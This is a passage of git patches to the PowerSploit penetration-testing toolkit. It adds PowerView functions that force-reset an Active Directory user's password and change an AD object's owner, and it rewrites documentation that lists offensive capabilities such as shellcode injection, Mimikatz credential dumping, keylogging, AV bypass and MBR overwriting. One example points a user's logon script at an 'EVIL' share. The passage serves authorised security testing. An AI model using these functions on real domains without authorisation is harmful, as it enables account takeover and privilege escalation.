'Recon/New-DomainUser.md' + - Get-DomainUserEvent: 'Recon/Get-DomainUserEvent.md' + - Get-DomainComputer: 'Recon/Get-DomainComputer.md' + - Get-DomainObject: 'Recon/Get-DomainObject.md' + - Set-DomainObject: 'Recon/Set-DomainObject.md' + - Get-DomainObjectAcl: 'Recon/Get-DomainObjectAcl.md' + - Add-DomainObjectAcl: 'Recon/Add-DomainObjectAcl.md' + - Find-InterestingDomainAcl: 'Recon/Find-InterestingDomainAcl.md' + - Get-DomainOU: 'Recon/Get-DomainOU.md' + - Get-DomainSite: 'Recon/Get-DomainSite.md' + - Get-DomainSubnet: 'Recon/Get-DomainSubnet.md' + - Get-DomainSID: 'Recon/Get-DomainSID.md' + - Get-DomainGroup: 'Recon/Get-DomainGroup.md' + - New-DomainGroup: 'Recon/New-DomainGroup.md' + - Get-DomainManagedSecurityGroup: 'Recon/Get-DomainManagedSecurityGroup.md' + - Get-DomainGroupMember: 'Recon/Get-DomainGroupMember.md' + - Add-DomainGroupMember: 'Recon/Add-DomainGroupMember.md' + - Get-DomainFileServer: 'Recon/Get-DomainFileServer.md' + - Get-DomainDFSShare: 'Recon/Get-DomainDFSShare.md' + - Get-DomainGPO: 'Recon/Get-DomainGPO.md' + - Get-DomainGPOLocalGroup: 'Recon/Get-DomainGPOLocalGroup.md' + - Get-DomainGPOUserLocalGroupMapping: 'Recon/Get-DomainGPOUserLocalGroupMapping.md' + - Get-DomainGPOComputerLocalGroupMapping: 'Recon/Get-DomainGPOComputerLocalGroupMapping.md' + - Get-DomainPolicy: 'Recon/Get-DomainPolicy.md' + - Get-NetLocalGroup: 'Recon/Get-NetLocalGroup.md' + - Get-NetLocalGroupMember: 'Recon/Get-NetLocalGroupMember.md' + - Get-NetShare: 'Recon/Get-NetShare.md' + - Get-NetLoggedon: 'Recon/Get-NetLoggedon.md' + - Get-NetSession: 'Recon/Get-NetSession.md' + - Get-RegLoggedOn: 'Recon/Get-RegLoggedOn.md' + - Get-NetRDPSession: 'Recon/Get-NetRDPSession.md' + - Test-AdminAccess: 'Recon/Test-AdminAccess.md' + - Get-NetComputerSiteName: 'Recon/Get-NetComputerSiteName.md' + - Get-WMIRegProxy: 'Recon/Get-WMIRegProxy.md' + - Get-WMIRegLastLoggedOn: 'Recon/Get-WMIRegLastLoggedOn.md' + - Get-WMIRegCachedRDPConnection: 'Recon/Get-WMIRegCachedRDPConnection.md' + - Get-WMIRegMountedDrive: 'Recon/Get-WMIRegMountedDrive.md' + - Get-WMIProcess: 'Recon/Get-WMIProcess.md' + - Find-InterestingFile: 'Recon/Find-InterestingFile.md' + - Find-DomainUserLocation: 'Recon/Find-DomainUserLocation.md' + - Find-DomainProcess: 'Recon/Find-DomainProcess.md' + - Find-DomainUserEvent: 'Recon/Find-DomainUserEvent.md' + - Find-DomainShare: 'Recon/Find-DomainShare.md' + - Find-InterestingDomainShareFile: 'Recon/Find-InterestingDomainShareFile.md' + - Find-LocalAdminAccess: 'Recon/Find-LocalAdminAccess.md' + - Find-DomainLocalGroupMember: 'Recon/Find-DomainLocalGroupMember.md' + - Get-DomainTrust: 'Recon/Get-DomainTrust.md' + - Get-ForestTrust: 'Recon/Get-ForestTrust.md' + - Get-DomainForeignUser: 'Recon/Get-DomainForeignUser.md' + - Get-DomainForeignGroupMember: 'Recon/Get-DomainForeignGroupMember.md' + - Get-DomainTrustMapping: 'Recon/Get-DomainTrustMapping.md' + - Get-ComputerDetails: 'Recon/Get-ComputerDetails.md' + - Get-HttpStatus: 'Recon/Get-HttpStatus.md' + - Invoke-Portscan: 'Recon/Invoke-Portscan.md' + - Invoke-ReverseDnsLookup: 'Recon/Invoke-ReverseDnsLookup.md' - About: - License: 'LICENSE.md' \ No newline at end of file From b78f164440514bf6f48bda18194358d389ce3882 Mon Sep 17 00:00:00 2001 From: HarmJ0y Date: Mon, 12 Dec 2016 22:16:44 -0500 Subject: [PATCH 211/296] someday I'll get this right... --- mkdocs.yml | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/mkdocs.yml b/mkdocs.yml index 0c04f6ad..3d56a7c9 100644 --- a/mkdocs.yml +++ b/mkdocs.yml @@ -3,7 +3,9 @@ repo_url: https://github.com/PowerShellMafia/PowerSploit/ site_favicon: favicon.ico pages: - Home: 'index.md' - - Recon : 'Recon/index.md' +- Recon: + - About: 'Recon/index.md' + - Functions: - Export-PowerViewCSV: 'Recon/Export-PowerViewCSV.md' - Resolve-IPAddress: 'Recon/Resolve-IPAddress.md' - ConvertTo-SID: 'Recon/ConvertTo-SID.md' From 813eab4a399c00d2632ac06192c861084651de6d Mon Sep 17 00:00:00 2001 From: HarmJ0y Date: Mon, 12 Dec 2016 22:18:16 -0500 Subject: [PATCH 212/296] maybe now? --- mkdocs.yml | 2 -- 1 file changed, 2 deletions(-) diff --git a/mkdocs.yml b/mkdocs.yml index 3d56a7c9..fb9ad52b 100644 --- a/mkdocs.yml +++ b/mkdocs.yml @@ -83,5 +83,3 @@ pages: - Get-HttpStatus: 'Recon/Get-HttpStatus.md' - Invoke-Portscan: 'Recon/Invoke-Portscan.md' - Invoke-ReverseDnsLookup: 'Recon/Invoke-ReverseDnsLookup.md' -- About: - - License: 'LICENSE.md' \ No newline at end of file From f4f5fb1460a8163e333c9e5462df6d3ab27a53a6 Mon Sep 17 00:00:00 2001 From: HarmJ0y Date: Tue, 13 Dec 2016 16:00:28 -0500 Subject: [PATCH 213/296] Added Set-DomainUserPassword to reset a particular user's password. Reformatted documentation. --- README.md | 2 +- Recon/PowerView.ps1 | 113 ++++++++++++++ Recon/README.md | 1 + Recon/Recon.psd1 | 1 + docs/Recon/Set-DomainUserPassword.md | 127 +++++++++++++++ docs/Recon/index.md | 14 -- docs/index.md | 223 +++++++-------------------- mkdocs.yml | 1 + 8 files changed, 298 insertions(+), 184 deletions(-) create mode 100755 docs/Recon/Set-DomainUserPassword.md diff --git a/README.md b/README.md index c348b9e1..60ac90fa 100644 --- a/README.md +++ b/README.md @@ -132,7 +132,7 @@ Displays Windows vault credential objects including cleartext web credentials. Generates a full-memory minidump of a process. -#### 'Get-MicrophoneAudio' +#### `Get-MicrophoneAudio` Records audio from system microphone and saves to disk diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 32aa10f9..5d404f33 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -4894,6 +4894,119 @@ http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices- } +function Set-DomainUserPassword { +<# +.SYNOPSIS + +Sets the password for a given user identity and returns the user object. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-PrincipalContext + +.DESCRIPTION + +First binds to the specified domain context using Get-PrincipalContext. +The bound domain context is then used to search for the specified user -Identity, +which returns a DirectoryServices.AccountManagement.UserPrincipal object. The +SetPassword() function is then invoked on the user, setting the password to -AccountPassword. + +.PARAMETER Identity + +A user SamAccountName (e.g. User1), DistinguishedName (e.g. CN=user1,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1113), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201) +specifying the user to reset the password for. + +.PARAMETER AccountPassword + +Specifies the password to reset the target user's to. Mandatory. + +.PARAMETER Domain + +Specifies the domain to use to search for the user identity, defaults to the current domain. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +Set-DomainUserPassword -Identity andy -AccountPassword $UserPassword + +Resets the password for 'andy' to the password specified. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +Set-DomainUserPassword -Identity andy -AccountPassword $UserPassword -Credential $Cred + +Resets the password for 'andy' usering the alternate credentials specified. + +.OUTPUTS + +DirectoryServices.AccountManagement.UserPrincipal + +.LINK + +http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/ +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('DirectoryServices.AccountManagement.UserPrincipal')] + Param( + [Parameter(Position = 0, Mandatory = $True)] + [Alias('UserName', 'UserIdentity', 'User')] + [String] + $Identity, + + [Parameter(Mandatory = $True)] + [ValidateNotNullOrEmpty()] + [Alias('Password')] + [Security.SecureString] + $AccountPassword, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + $ContextArguments = @{ 'Identity' = $Identity } + if ($PSBoundParameters['Domain']) { $ContextArguments['Domain'] = $Domain } + if ($PSBoundParameters['Credential']) { $ContextArguments['Credential'] = $Credential } + $Context = Get-PrincipalContext @ContextArguments + + if ($Context) { + $User = [System.DirectoryServices.AccountManagement.UserPrincipal]::FindByIdentity($Context.Context, $Identity) + + if ($User) { + Write-Verbose "[Set-DomainUserPassword] Attempting to set the password for user '$Identity'" + try { + $TempCred = New-Object System.Management.Automation.PSCredential('a', $AccountPassword) + $User.SetPassword($TempCred.GetNetworkCredential().Password) + + $Null = $User.Save() + Write-Verbose "[Set-DomainUserPassword] Password for user '$Identity' successfully reset" + $User + } + catch { + Write-Warning "[Set-DomainUserPassword] Error setting password for user '$Identity' : $_" + } + } + else { + Write-Warning "[Set-DomainUserPassword] Unable to find user '$Identity'" + } + } +} + + function Get-DomainUserEvent { <# .SYNOPSIS diff --git a/Recon/README.md b/Recon/README.md index acc2627a..7fcacc5e 100644 --- a/Recon/README.md +++ b/Recon/README.md @@ -58,6 +58,7 @@ an array of hosts from the pipeline. Find-DomainObjectPropertyOutlier- inds user/group/computer objects in AD that have 'outlier' properties set Get-DomainUser - return all users or specific user objects in AD New-DomainUser - creates a new domain user (assuming appropriate permissions) and returns the user object + Set-DomainUserPassword - sets the password for a given user identity and returns the user object Get-DomainUserEvent - enumerates account logon events (ID 4624) and Logon with explicit credential events Get-DomainComputer - returns all computers or specific computer objects in AD Get-DomainObject - returns all (or specified) domain objects in AD diff --git a/Recon/Recon.psd1 b/Recon/Recon.psd1 index 6cdcfbaf..7e2abcb2 100644 --- a/Recon/Recon.psd1 +++ b/Recon/Recon.psd1 @@ -46,6 +46,7 @@ FunctionsToExport = @( 'Find-DomainObjectPropertyOutlier', 'Get-DomainUser', 'New-DomainUser', + 'Set-DomainUserPassword', 'Get-DomainUserEvent', 'Get-DomainComputer', 'Get-DomainObject', diff --git a/docs/Recon/Set-DomainUserPassword.md b/docs/Recon/Set-DomainUserPassword.md new file mode 100755 index 00000000..17122946 --- /dev/null +++ b/docs/Recon/Set-DomainUserPassword.md @@ -0,0 +1,127 @@ +# Set-DomainUserPassword + +## SYNOPSIS +Sets the password for a given user identity and returns the user object. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-PrincipalContext + +## SYNTAX + +``` +Set-DomainUserPassword [-Identity] -AccountPassword [-Domain ] + [-Credential ] +``` + +## DESCRIPTION +First binds to the specified domain context using Get-PrincipalContext. +The bound domain context is then used to search for the specified user -Identity, +which returns a DirectoryServices.AccountManagement.UserPrincipal object. +The +SetPassword() function is then invoked on the user, setting the password to -AccountPassword. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +Set-DomainUserPassword -Identity andy -AccountPassword $UserPassword + +Resets the password for 'andy' to the password specified. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +Set-DomainUserPassword -Identity andy -AccountPassword $UserPassword -Credential $Cred + +Resets the password for 'andy' usering the alternate credentials specified. + +## PARAMETERS + +### -Identity +A user SamAccountName (e.g. +User1), DistinguishedName (e.g. +CN=user1,CN=Users,DC=testlab,DC=local), +SID (e.g. +S-1-5-21-890171859-3433809279-3366196753-1113), or GUID (e.g. +4c435dd7-dc58-4b14-9a5e-1fdb0e80d201) +specifying the user to reset the password for. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: UserName, UserIdentity, User + +Required: True +Position: 1 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -AccountPassword +Specifies the password to reset the target user's to. +Mandatory. + +```yaml +Type: SecureString +Parameter Sets: (All) +Aliases: Password + +Required: True +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Domain +Specifies the domain to use to search for the user identity, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### DirectoryServices.AccountManagement.UserPrincipal + +## NOTES + +## RELATED LINKS + +[http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/](http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/) + diff --git a/docs/Recon/index.md b/docs/Recon/index.md index acc2627a..b3eca5c5 100644 --- a/docs/Recon/index.md +++ b/docs/Recon/index.md @@ -1,17 +1,3 @@ -To install this module, drop the entire Recon folder into one of your module directories. The default PowerShell module paths are listed in the $Env:PSModulePath environment variable. - -The default per-user module path is: "$Env:HomeDrive$Env:HOMEPATH\Documents\WindowsPowerShell\Modules" -The default computer-level module path is: "$Env:windir\System32\WindowsPowerShell\v1.0\Modules" - -To use the module, type `Import-Module Recon` - -To see the commands imported, type `Get-Command -Module Recon` - -For help on each individual command, Get-Help is your friend. - -Note: The tools contained within this module were all designed such that they can be run individually. Including them in a module simply lends itself to increased portability. - - ## PowerView PowerView is a PowerShell tool to gain network situational awareness on diff --git a/docs/index.md b/docs/index.md index c348b9e1..67ddcbce 100644 --- a/docs/index.md +++ b/docs/index.md @@ -1,189 +1,74 @@ -### PowerSploit is a collection of Microsoft PowerShell modules that can be used to aid penetration testers during all phases of an assessment. PowerSploit is comprised of the following modules and scripts: +## Overview +PowerSploit is a collection of Microsoft PowerShell modules that can be used to aid penetration testers during all phases of an assessment. -## CodeExecution +### CodeExecution +Execute code on a target machine. -**Execute code on a target machine.** + Invoke-DllInjection - Injects a Dll into the process ID of your choosing. + Invoke-ReflectivePEInjection - Reflectively loads a Windows PE file (DLL/EXE) in to the powershell process, or reflectively injects a DLL in to a remote process. + Invoke-Shellcode - Injects shellcode into the process ID of your choosing or within PowerShell locally. + Invoke-WmiCommand - Executes a PowerShell ScriptBlock on a target computer and returns its formatted output using WMI as a C2 channel -#### `Invoke-DllInjection` +### ScriptModification +Modify and/or prepare scripts for execution on a compromised machine. -Injects a Dll into the process ID of your choosing. + Out-EncodedCommand - Compresses, Base-64 encodes, and generates command-line output for a PowerShell payload script. + Out-CompressedDll - Compresses, Base-64 encodes, and outputs generated code to load a managed dll in memory. + Out-EncryptedScript - Encrypts text files/scripts. + Remove-Comments - Strips comments and extra whitespace from a script. -#### `Invoke-ReflectivePEInjection` +### Persistence -Reflectively loads a Windows PE file (DLL/EXE) in to the powershell process, or reflectively injects a DLL in to a remote process. +Add persistence capabilities to a PowerShell script. -#### `Invoke-Shellcode` + New-UserPersistenceOption - Configure user-level persistence options for the Add-Persistence function. + New-ElevatedPersistenceOption - Configure elevated persistence options for the Add-Persistence function. + Add-Persistence - Add persistence capabilities to a script. + Install-SSP - Installs a security support provider (SSP) dll. + Get-SecurityPackages - Enumerates all loaded security packages (SSPs). -Injects shellcode into the process ID of your choosing or within PowerShell locally. +### AntivirusBypass +AV doesn't stand a chance against PowerShell! -#### `Invoke-WmiCommand` + Find-AVSignature - Locates single Byte AV signatures utilizing the same method as DSplit from "class101". -Executes a PowerShell ScriptBlock on a target computer and returns its formatted output using WMI as a C2 channel. +### Exfiltration +All your data belong to me! -## ScriptModification + Invoke-TokenManipulation - Lists available logon tokens. Creates processes with other users logon tokens, and impersonates logon tokens in the current thread. + Invoke-CredentialInjection - Create logons with clear-text credentials without triggering a suspicious Event ID 4648 (Explicit Credential Logon). + Invoke-NinjaCopy - Copies a file from an NTFS partitioned volume by reading the raw volume and parsing the NTFS structures. + Invoke-Mimikatz - Reflectively loads Mimikatz 2.0 in memory using PowerShell. Can be used to dump credentials without writing anything to disk. Can be used for any functionality provided with Mimikatz. + Get-Keystrokes - Logs keys pressed, time and the active window. + Get-GPPPassword - Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences. + Get-GPPAutologon - Retrieves autologon username and password from registry.xml if pushed through Group Policy Preferences. + Get-TimedScreenshot - A function that takes screenshots at a regular interval and saves them to a folder. + New-VolumeShadowCopy - Creates a new volume shadow copy. + Get-VolumeShadowCopy - Lists the device paths of all local volume shadow copies. + Mount-VolumeShadowCopy - Mounts a volume shadow copy. + Remove-VolumeShadowCopy - Deletes a volume shadow copy. + Get-VaultCredential - Displays Windows vault credential objects including cleartext web credentials. + Out-Minidump - Generates a full-memory minidump of a process. + Get-MicrophoneAudio - Records audio from system microphone and saves to disk. -**Modify and/or prepare scripts for execution on a compromised machine.** +### Mayhem +Cause general mayhem with PowerShell. -#### `Out-EncodedCommand` + Set-MasterBootRecord - Proof of concept code that overwrites the master boot record with the message of your choice. + Set-CriticalProcess - Causes your machine to blue screen upon exiting PowerShell. -Compresses, Base-64 encodes, and generates command-line output for a PowerShell payload script. +### Privesc +Tools to help with escalating privileges on a target, including PowerUp. -#### `Out-CompressedDll` + PowerUp - Clearing house of common privilege escalation checks, along with some weaponization vectors. -Compresses, Base-64 encodes, and outputs generated code to load a managed dll in memory. +### Recon +Tools to aid in the reconnaissance phase of a penetration test, including PowerView. -#### `Out-EncryptedScript` - -Encrypts text files/scripts. - -#### `Remove-Comments` - -Strips comments and extra whitespace from a script. - -## Persistence - -**Add persistence capabilities to a PowerShell script** - -#### `New-UserPersistenceOption` - -Configure user-level persistence options for the Add-Persistence function. - -#### `New-ElevatedPersistenceOption` - -Configure elevated persistence options for the Add-Persistence function. - -#### `Add-Persistence` - -Add persistence capabilities to a script. - -#### `Install-SSP` - -Installs a security support provider (SSP) dll. - -#### `Get-SecurityPackages` - -Enumerates all loaded security packages (SSPs). - -## AntivirusBypass - -**AV doesn't stand a chance against PowerShell!** - -#### `Find-AVSignature` - -Locates single Byte AV signatures utilizing the same method as DSplit from "class101". - -## Exfiltration - -**All your data belong to me!** - -#### `Invoke-TokenManipulation` - -Lists available logon tokens. Creates processes with other users logon tokens, and impersonates logon tokens in the current thread. - -#### `Invoke-CredentialInjection` - -Create logons with clear-text credentials without triggering a suspicious Event ID 4648 (Explicit Credential Logon). - -#### `Invoke-NinjaCopy` - -Copies a file from an NTFS partitioned volume by reading the raw volume and parsing the NTFS structures. - -#### `Invoke-Mimikatz` - -Reflectively loads Mimikatz 2.0 in memory using PowerShell. Can be used to dump credentials without writing anything to disk. Can be used for any functionality provided with Mimikatz. - -#### `Get-Keystrokes` - -Logs keys pressed, time and the active window. - -#### `Get-GPPPassword` - -Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences. - -#### `Get-GPPAutologon` - -Retrieves autologon username and password from registry.xml if pushed through Group Policy Preferences. - -#### `Get-TimedScreenshot` - -A function that takes screenshots at a regular interval and saves them to a folder. - -#### `New-VolumeShadowCopy` - -Creates a new volume shadow copy. - -#### `Get-VolumeShadowCopy` - -Lists the device paths of all local volume shadow copies. - -#### `Mount-VolumeShadowCopy` - -Mounts a volume shadow copy. - -#### `Remove-VolumeShadowCopy` - -Deletes a volume shadow copy. - -#### `Get-VaultCredential` - -Displays Windows vault credential objects including cleartext web credentials. - -#### `Out-Minidump` - -Generates a full-memory minidump of a process. - -#### 'Get-MicrophoneAudio' - -Records audio from system microphone and saves to disk - -## Mayhem - -**Cause general mayhem with PowerShell.** - -#### `Set-MasterBootRecord` - -Proof of concept code that overwrites the master boot record with the - message of your choice. - -#### `Set-CriticalProcess` - -Causes your machine to blue screen upon exiting PowerShell. - -## Privesc - -**Tools to help with escalating privileges on a target.** - -#### `PowerUp` - -Clearing house of common privilege escalation checks, along with some weaponization vectors. - -## Recon - -**Tools to aid in the reconnaissance phase of a penetration test.** - -#### `Invoke-Portscan` - -Does a simple port scan using regular sockets, based (pretty) loosely on nmap. - -#### `Get-HttpStatus` - -Returns the HTTP Status Codes and full URL for specified paths when provided with a dictionary file. - -#### `Invoke-ReverseDnsLookup` - -Scans an IP address range for DNS PTR records. - -#### `PowerView` - -PowerView is series of functions that performs network and Windows domain enumeration and exploitation. - -## Recon\Dictionaries - -**A collection of dictionaries used to aid in the reconnaissance phase of a penetration test. Dictionaries were taken from the following sources.** - -* admin.txt - -* generic.txt - -* sharepoint.txt - + Invoke-Portscan - Does a simple port scan using regular sockets, based (pretty) loosely on nmap. + Get-HttpStatus - Returns the HTTP Status Codes and full URL for specified paths when provided with a dictionary file. + Invoke-ReverseDnsLookup - Scans an IP address range for DNS PTR records. + PowerView - PowerView is series of functions that performs network and Windows domain enumeration and exploitation. ## License diff --git a/mkdocs.yml b/mkdocs.yml index fb9ad52b..fcaef8d2 100644 --- a/mkdocs.yml +++ b/mkdocs.yml @@ -29,6 +29,7 @@ pages: - Find-DomainObjectPropertyOutlier: 'Recon/Find-DomainObjectPropertyOutlier.md' - Get-DomainUser: 'Recon/Get-DomainUser.md' - New-DomainUser: 'Recon/New-DomainUser.md' + - Set-DomainUserPassword: 'Recon/Set-DomainUserPassword.md' - Get-DomainUserEvent: 'Recon/Get-DomainUserEvent.md' - Get-DomainComputer: 'Recon/Get-DomainComputer.md' - Get-DomainObject: 'Recon/Get-DomainObject.md' From f00e3fc6c436f372953f48de1a8e2771b13844ec Mon Sep 17 00:00:00 2001 From: HarmJ0y Date: Tue, 13 Dec 2016 17:21:10 -0500 Subject: [PATCH 214/296] Added Set-DomainObjectOwner to modify an object's owner Modified Convert-LDAPProperty to break out sections of ntsecuritydescriptor --- Recon/PowerView.ps1 | 214 +++++++++++++++++++++--- Recon/Recon.psd1 | 1 + docs/Recon/Set-DomainObjectOwner.md | 234 +++++++++++++++++++++++++++ docs/Recon/Set-DomainUserPassword.md | 2 +- 4 files changed, 431 insertions(+), 20 deletions(-) create mode 100755 docs/Recon/Set-DomainObjectOwner.md diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 5d404f33..cb2af320 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -2741,7 +2741,20 @@ A custom PSObject with LDAP hashtable properties translated. $ObjectProperties[$_] = (New-Object Guid (,$Properties[$_][0])).Guid } elseif ($_ -eq 'ntsecuritydescriptor') { - $ObjectProperties[$_] = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Properties[$_][0], 0 + # $ObjectProperties[$_] = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Properties[$_][0], 0 + $Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Properties[$_][0], 0 + if ($Descriptor.Owner) { + $ObjectProperties['Owner'] = $Descriptor.Owner + } + if ($Descriptor.Group) { + $ObjectProperties['Group'] = $Descriptor.Group + } + if ($Descriptor.DiscretionaryAcl) { + $ObjectProperties['DiscretionaryAcl'] = $Descriptor.DiscretionaryAcl + } + if ($Descriptor.SystemAcl) { + $ObjectProperties['SystemAcl'] = $Descriptor.SystemAcl + } } elseif ( ($_ -eq 'lastlogon') -or ($_ -eq 'lastlogontimestamp') -or ($_ -eq 'pwdlastset') -or ($_ -eq 'lastlogoff') -or ($_ -eq 'badPasswordTime') ) { # convert timestamps @@ -4898,7 +4911,7 @@ function Set-DomainUserPassword { <# .SYNOPSIS -Sets the password for a given user identity and returns the user object. +Sets the password for a given user identity. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause @@ -4994,7 +5007,6 @@ http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices- $Null = $User.Save() Write-Verbose "[Set-DomainUserPassword] Password for user '$Identity' successfully reset" - $User } catch { Write-Warning "[Set-DomainUserPassword] Error setting password for user '$Identity' : $_" @@ -6186,22 +6198,10 @@ Get-DomainUser -Identity testuser -Properties scriptpath scriptpath ---------- \\EVIL\program2.exe - -.OUTPUTS - -PowerView.ADObject - -Custom PSObject with translated AD object property fields, if -PassThru is enabled. - -PowerView.ADObject.Raw - -The raw DirectoryServices.SearchResult object, if -PassThru and -Raw are enabled. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] - [OutputType('PowerView.ADObject')] - [OutputType('PowerView.ADObject.Raw')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] @@ -6253,10 +6253,6 @@ The raw DirectoryServices.SearchResult object, if -PassThru and -Raw are enabled [Int] $ServerTimeLimit, - [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] - [String] - $SecurityMasks, - [Switch] $Tombstone, @@ -6336,6 +6332,186 @@ The raw DirectoryServices.SearchResult object, if -PassThru and -Raw are enabled } +function Set-DomainObjectOwner { +<# +.SYNOPSIS + +Modifies the owner for a specified active directory object. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainObject + +.DESCRIPTION + +Retrieves the Active Directory object specified by -Identity by splatting to +Get-DomainObject, returning the raw searchresult object. Retrieves the raw +directoryentry for the object, and sets the object owner to -OwnerIdentity. + +.PARAMETER Identity + +A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201) +of the AD object to set the owner for. + +.PARAMETER OwnerIdentity + +A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201) +of the owner to set for -Identity. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Set-DomainObjectOwner -Identity dfm -OwnerIdentity harmj0y + +Set the owner of 'dfm' in the current domain to 'harmj0y'. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Set-DomainObjectOwner -Identity dfm -OwnerIdentity harmj0y -Credential $Cred + +Set the owner of 'dfm' in the current domain to 'harmj0y' using the alternate credentials. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DistinguishedName', 'SamAccountName', 'Name')] + [String] + $Identity, + + [Parameter(Mandatory = $True)] + [ValidateNotNullOrEmpty()] + [Alias('Owner')] + [String] + $OwnerIdentity, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $SearcherArguments = @{} + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if 